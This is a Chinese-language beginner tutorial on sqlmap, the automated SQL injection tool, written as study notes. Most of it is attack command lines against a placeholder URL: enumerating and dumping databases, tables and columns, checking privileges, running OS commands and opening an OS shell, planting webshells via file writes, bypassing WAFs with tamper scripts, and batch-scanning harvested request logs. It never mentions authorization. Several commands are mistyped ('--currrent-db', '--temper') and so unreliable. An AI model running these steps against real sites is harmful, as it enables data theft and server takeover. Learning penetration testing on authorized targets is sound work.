SQLAMP入门
- 1.什么是sqlmap
- sqlmap是一款命令行界面的开源的渗透测试工具(自动化的SQL注入)
- sqlmap可以自动化的侦测和实施SQL注入攻击及渗透数据库服务器
- sqlmap有强大的侦测引擎,可以获取不同数据库的指纹信息、数据,能够处理潜在的文件系统及通过数据连接执行系统命令
2.sqlmap功能作用
- sqlmap目前支持My是SQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库类型,采用五种独特的数据库注入方式
- 基于bool的盲注,即可以根据返回页面判断条件真假的注入
- 基于time的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间内延迟
- 语句是否执行来判断(即页面返回时间是否增加)
- 基于error注入,即页面会返回错误信息,或者注入的语句的结果直接返回在页面中
- 联合查询union注入,可以使用union的情况下注入
- 堆查询注入,可以同时执行多条语句的注入
- sqlmap目前支持My是SQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库类型,采用五种独特的数据库注入方式
3.sqlmap安装环境
- 一个kali就搞定
- 其他环境安装(百度)
- 1.先准备好Python2.7环境
- 2.sqlmap安装包
4.三种请求类型的注入探测
GET方式 的SQL注入检测
sqlmap.py -u "URL"
POST方式的SQL注入检测(火狐浏览器安装插件hackbar抓到包之后可以看到POST数据)
sqlmap.py -u "URL" --data "POST数据"
Cookie方式的SQL注入检测(火狐浏览器安装插件firebug,首先要使用该插件创建一个Cookie,Cookie的值为Cookie数据)
sqlmap.py -u --cookie "Cookie数据"
4 获取数据库相关信息
获取数据库的数据库类型以及版本
- 数据库类型及版本
- Microsoft SQL Server
- Mysql
- Orcle
- PostgreSQL
如何查看类型及版本
sqlmap.py -u "URL"
- 数据库类型及版本
获取当前网站所使用的数据库名与用户名
- 两种常见的数据库结构(两种数据存储结构不同)
- Microsoft Access(库:表1,表2,表3)
- Microsoft SQL Server(库1:(表1,表2,表3),库2,库3)
- 两种常见的数据库结构(两种数据存储结构不同)
sqlmap.py -u "URL" --currrent-db
//获取当前URL的数据库名
sqlmap.py -u "URL" --current-user
//获取此数据库的用户名
5.获取数据量和用户权限
获取数据库的数据量
拿到了数据库但无法查看怎么办
sqlmap.py -u "URL" --count -D "数据库名"
判断用户的权限
最高权限:增删改查、写入读取文件、执行系统命令
sqlmap.py -u "URL" --privileges //查看用户权限
也可以通过查看数据库的用户名来判断权限
- Microsoft SQL Server :sa
Mysql:root
sqlmap.py -u "URL" --current-user
6.Mysql数据库的注入
Mysql数据库的结构
mysql数据库结构:
(
库1:(表,列,数据or字段内容),
库2:(表,列,数据or字段内容),
库3:(表,列,数据or字段内容)
)Mysql注入(四步)
sqlmap.py -u "URL" --current-db //获取库名 sqlmap.py -u "URL" --tables-D "数据库名" //获取该库中的表名 sqlmap.py -u "URL" --columns-T "表名" //获取某个表名的列名 sqlmap.py -u "URL" --dump -C "列名1(,列名2)"-T "表名" //获取字段内容
- 思考:新的数据库注入
- 有两款新的数据库类型sqlmap不支持(使用NoSQLMap即可)
- MongoDB
- NoSQL
- 有两款新的数据库类型sqlmap不支持(使用NoSQLMap即可)
7.管理自己的数据库
如何随时链接自己的数据库
sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" 例如: sqlmap.py -d "mysql://root:root@localhost:3306/test" //如果报错,那就是没有安装pymysql(百度)
管理自己的数据库
sqlmap.py -d "mysql://root:root@localhost:3306/test" --sql-shell 得到: sql-shell > //等待输入,即可管理
8.延时注入
延时注入在什么情况下使用
- 在我们挖掘SQL注入漏洞的过程中,页面无变化,无法用bool真假判断,无法报错的情况下使用延时注入
- 最精准,耗时长
如何进行延时注入(二者均可)
sqlmap.py -u "URL" --delay 数值(延时的秒数) sqlmap.py -u "URL" -safe-freq
9.交互式命令执行和写webshell
- 什么是交互式(必须是最高权限)
- 和数据库or “URL”网址的服务器,进行交互
SQLMAP进行命令执行(提权)
sqlmap.py -u "URL" --os-cmd="命令" //注意在是使用交互式参数时要知道网站的绝对路径,命令执行后设置中又一个需要你输入绝对路径: d:/www/ ,当我们执行命令是SQLMAP是创建了一个文件在绝对路径之下的,但是执行完之后就自动删除了
SQLMAP写webshell and (提权)
sqlmap.py -u "URL" --os-shell //教程一路设置4----2---d:/www/----仅供参考 得到: os-shell >
- 什么是交互式(必须是最高权限)
10.Tamper脚本的介绍和使用
- What is Tamper?
- sqlmap目录下的tamper,里面的脚本有不同的功能来帮助我们使用sqlmap进行高级的SQL注入测试,如:绕过waf
小试Tamper脚本
常规办法(and 1=1)无法注入时
sqlmap.py -u "URL" --temper="randomcase.py"(脚本名称)
- Tamper脚本总结
- 各种temper脚本用法
- http://pan.baidu.com/s/1dF0ywFn 密码:jp29
- What is Tamper?
10.本地写入webshell
- 什么是本地写入webshell
- 上传自己本地自定义的文件
本地写入webshell
- 在sqlmap目录下创建一个目录(mst)在目录下创建自己想要上传的文件
- 需要最高权限
需要两个参数
- 本地文件的(路径)地址
- –file-write “./mst/mst.txt”
目标文件的(路径)地址
–file-dest “d:/www/1.html
sqlmap.py -u “URL” –file-write “./mst/mst.txt” –file-dest “d:/www/1.html”
- 本地文件的(路径)地址
- 什么是本地写入webshell
11.批量检测注入漏洞
- 你对批量知多少
- 将所有的链接写在一个txt文档中,批量检测
批量检测给你招
sqlmap.py -m g:\ceshi\test.txt(绝对路径)
- 结合BurpSuite进行批量
- 通过BurpSuite记录一些对网址的请求数据包,设置options– > misc –> Proxy中选中Request -> 设置保存文件名(test.log),在浏览器中设置好代理,通过Proxy模块监听,之后在test.log中就会有记录
sqlmap.py -l g:\ceshi\test.log --batch -smart //--batch:自动选择yes;-smart:启发式快速判断;--level=(1-5) :要执行的探测水平等级;--risk=(0-3):测试执行的风险等级
- 探测等级:–level;共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads中看到,你也可以根据相应的格式自己添加payload。这个参数不仅影响之前使用的那些payload同事也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候都会测试,HTTP User-Agent/Referer头在level为3的时候就会测试,在不确定那个payload或者参数为注入点的时候建议用高level值
- 风险等级:–risk;共有四个风险等级默认1,测试大部分语句,2增加基于时间的测试语句,3增加OR语句的SQL注入测试,例如,有时候在UPDATE的语句中,注入一个OR的测试语句,可能导致更新整个表,造成很大的风险,同样在xml/payloads/中找到,也可以自行添加payload
- 你对批量知多少
12.SQLMAP注入学习
- 了解sqlmap目录结构
- doc/—>>>>sqlmap具体使用说明
- extra/—>>>>sqlmap的额外功能
- lib/—>>>>sqlmap多种链接库
- plugins/—>>>>各种数据库信息和数据库通用事项
- procs/—>>>>mssqlserver、mysql、Oracle、postgresql的出发程序
- shell/—>>>>注入成功后多种shell远程连接命令执行的管理数据库
- tamper/—>>>>绕过脚本
- thirdparty/—>>>>第三方插件
- txt/—>>>>字典
- udf/—>>>>用户自定义的攻击载荷
- waf/—>>>>常见的防火墙特征,使用–identify-waf进行检测
- xml/—>>>>数据库的注入检测载荷、旗标信息以及其他信息,可以通过查看分析该文件学习注入技术
- 学习sqlmap注入
- -v参数的使用,7个等级,
- 0:只显示Python错误以及严重的信息;
- 1:同时显示信息和警告信息;
- 2:同时显示debug信息;
- 3:同时显示注入的payload;
- 4:同时显示HTTP请求;
- 5:同时显示HTTP响应头;
- 6:同时显示HTTP相应页面
sqlmap.py -u "URL" --dbs -v 3
- 调用BurpSuite(也要配置代理)
sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
- -v参数的使用,7个等级,
- 了解sqlmap目录结构